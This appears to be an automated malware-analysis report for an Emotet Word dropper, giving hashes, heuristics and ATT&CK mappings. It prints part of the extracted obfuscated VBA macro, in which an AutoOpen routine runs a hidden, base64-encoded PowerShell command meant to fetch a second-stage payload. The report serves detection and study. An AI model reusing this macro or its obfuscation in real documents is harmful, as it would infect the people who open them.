Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 37bf9eecbdb6afd2…

MALICIOUS

Office (OLE)

101.2 KB Created: 2018-05-28 22:28:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 7454e2c44a1b98155ec665bdee4c5fff SHA-1: 184bac98eb751aff958c5928d7ee6566fe0925c4 SHA-256: 37bf9eecbdb6afd289346046f917c663acd2f7a13ee1707d13b672ba87ed511d
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The Autoopen macro is present and executes a PowerShell command constructed from concatenated strings: 'powershell -WindowStyle hidden -e IAA mACgAIAAkAFM ASABF AGwAbABpAGQA WwAxAF0AKw AkAHMAaABl AGwAT'. This PowerShell command is likely responsible for downloading and executing a second-stage payload. The ClamAV detection also explicitly identifies the file as 'Doc.Downloader.Emotet-6960320-0', strongly suggesting the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6960320-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6960320-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18124 bytes
SHA-256: e5ff7f7c06488aaa35bb9d083a4f2b140c87b549e542e2a6803879d7128124ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JHBBwiBpitMw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function znQwjVU()
On Error Resume Next
DsjGLV = (inNnoC * nFnkQz - jTjiwO * Round(8427)) + (87565 - Rnd(ONKfQ) + 42447 + DmPvZ)
fZGiX = (ucHnjC * YzYNH - pbzadX * Round(44671)) + (33656 - Rnd(jzBDAG) + 75989 + cTqUz)
znQwjVU = aDwZj + kUWqhUlLbwI + icVPsQD + lfooMtdH + GwQzEow + FufqRkvk + aGhhIQwiv + nRkFwf + TVuZHDUP + pfsPwZW + ntQSkn + wfUsiAui
GZbdtz = (fZIFk * jzcHAS - tKmjB * Round(30984)) + (72009 - Rnd(wtQVqt) + 87431 + CudUZ)
End Function
Sub Autoopen()
On Error Resume Next
XtzPJ = (JzMpC * pvnvbd - djjrj * Round(89596)) + (8665 - Rnd(zaNXzd) + 80236 + silHid)
EwTqU (znQwjVU)
jbSuDw = (HSzIv * qCNVE - KYzSE * Round(34545)) + (99489 - Rnd(uMpWh) + 99328 + zPQAAo)
End Sub
Function EwTqU(AHHoEk)
On Error Resume Next
TuXoiV = (qUQCJT * hINcD - Ruccbw * Round(63999)) + (82731 - Rnd(zUDfYF) + 8760 + QjiKEs)
UXjPR = (DYwwU * RuNmo - EXvwd * Round(89755)) + (35013 - Rnd(NzsZfN) + 3391 + IDPSZ)
wpdkvrOln = Shell(SdiCzkKw + Chr(vbKeyP) + JHfllmwmm + AHHoEk, vbHide)
uwGhDj = (ACzpEz * dVulw - tFfXSG * Round(45029)) + (27223 - Rnd(KWWjZd) + 98439 + vqlqNv)
End Function


Attribute VB_Name = "jbOjamJdVkloQj"
Function aDwZj()
On Error Resume Next
jLnVH = (puGuC * iPFba - RNBGdd * Round(37364)) + (67438 - Rnd(OGiocc) + 30126 + zzwSt)
jPABP = "owersHeLL -Win" + "DowsTyl" + "e hidden -e IAA" + "mACgAIAAkAFM" + "ASABF" + "AGwAbABpAGQA" + "WwAxAF0AKw"
JzVjVq = (OzcLEC * dhJBY - aoXGZ * Round(94725)) + (28286 - Rnd(FidjXi) + 85101 + IuwsP)
CEdpZcLnV = "AkAHMAaABl" + "AGwATABJAGQ" + "AWwAxADMAXQArAC" + "cAeAAnACkAKAA" + "oACgAIgB7A" + "DEANAAwAH0Aew" + "A4ADAAfQ" + "B7ADEAMwAzAH" + "0AewA"
IGcYZ = (tSoutf * UZOJY - kITwfj * Round(38476)) + (56602 - Rnd(ZPDfw) + 50395 + RdBXUw)
BQjTjM = "0ADQAfQB7ADE" + "AMgA4AH" + "0AewA0AD" + "UAfQB7ADgAMQB" + "9AHsANwA0AH0Aew"
qimsiX = (tkaRir * IzrFQZ - YrOjio * Round(16554)) + (71356 - Rnd(AGmUc) + 29543 + opFkfi)
RjHzsHZctP = "AxADIANQB9A" + "HsAMwA4" + "AH0AewAxADE" + "AfQB7A" + "DAAfQB7ADYAM" + "wB9AHs" + "AMQA4AH0Aew" + "AxADkAfQB7A" + "DEAMwAwAH0Aew" + "AxADMA"
OUiqIj = (REYuR * YLAjaI - ZKsXMs * Round(7787)) + (6509 - Rnd(KoNuN) + 99713 + vzzEz)
CMNQAbkmL = "NAB9AHsAMQAwA" + "DkAfQB7ADEAMQ" + "A2AH0AewA0AD" + "EAfQB7ADY" + "AMQB9AHsAM" + "QA1AH0AewA" + "1ADkAfQB" + "7ADkAfQ"
CNaKXU = (pWKWCD * cLdQc - BtjhX * Round(58603)) + (46862 - Rnd(ElbEcq) + 15789 + zBVjaa)
CTijVCsC = "B7ADEAMQ" + "AwAH0AewAyADEA" + "fQB7ADEA" + "MQA4AH0AewA1" + "ADIAfQB7ADUAOA"
aDwZj = jPABP + CEdpZcLnV + BQjTjM + RjHzsHZctP + CMNQAbkmL + CTijVCsC
End Function
Function kUWqhUlLbwI()
On Error Resume Next
iqrJwj = (TjcthJ * snswdl - iSaNvz * Round(27728)) + (53919 - Rnd(tfbFEq) + 60281 + cPTRr)
GQMVhDF = "B9AHsAMQA" + "3AH0A" + "ewA3A" + "DYAfQB" + "7ADQAfQB7A" + "DcANwB9AHsAMQ"
jJzAEO = (mzoCvY * wAmVr - iOFDZC * Round(16149)) + (46192 - Rnd(NRTrq) + 82942 + wzKNS)
porvYMpt = "A0AH0A" + "ewA0ADYAfQB7ADI" + "ANwB9AH" + "sAMQAxA" + "DkAfQB7ADcAO" + "AB9AHsAM" + "QAzAD"
hmDJS = (Ybdza * tUDvb - FESkW * Round(67342)) + (8972 - Rnd(asEpLd) + 42513 + jTAPku)
raTGzakLdI = "YAfQB7AD" + "EAMgAxAH0A" + "ewA1ADYA" + "fQB7ADYAOA" + "B9AHsAOQA0AH0Ae" + "wA3AH0AewAxADEA" + "MgB9AHsAMQAyA" + "H0AewAzADIAfQB" + "7ADMANQB9AHsAMQ"
tjTtnz = (zAVII * ozPUE - nfWomw * Round(63699)) + (33248 - Rnd(kvLQLE) + 47990 + CpQjE)
aFqWUr = "AxADQAfQB7ADE" + "AfQB7" + "ADQAOQB9AHsAMQA" + "wADgAf" + "QB7ADQANwB" + "9AHsANAA" + "yAH0A" + "ewAxA" + "DAAMwB9AHsANgA"
ETCVIn = (DjLAHT * vhwGj - OEKswJ * Round(30028)) + (93563 - Rnd(inAim) + 35020 + jaZdE)
RrjuP = "yAH0AewAzADc" + "AfQB7ADEAMgA2A" + "H0AewAxA" + "DAANwB" + "9AHsA" + "MQA0ADMAfQB7" + "ADEAM" + "AAyAH0"
PAQDkC = (VsJDV * zJKYwX - qBXzYh * Round(8656)) + (52039 - Rnd(WhCihp) + 19139 + tYNrrl)
YawcPqt = "AewA4ADgAfQB7" + "ADUAMAB9AHs" + "AMwAwA" + "H0AewAzADE"
... (truncated)

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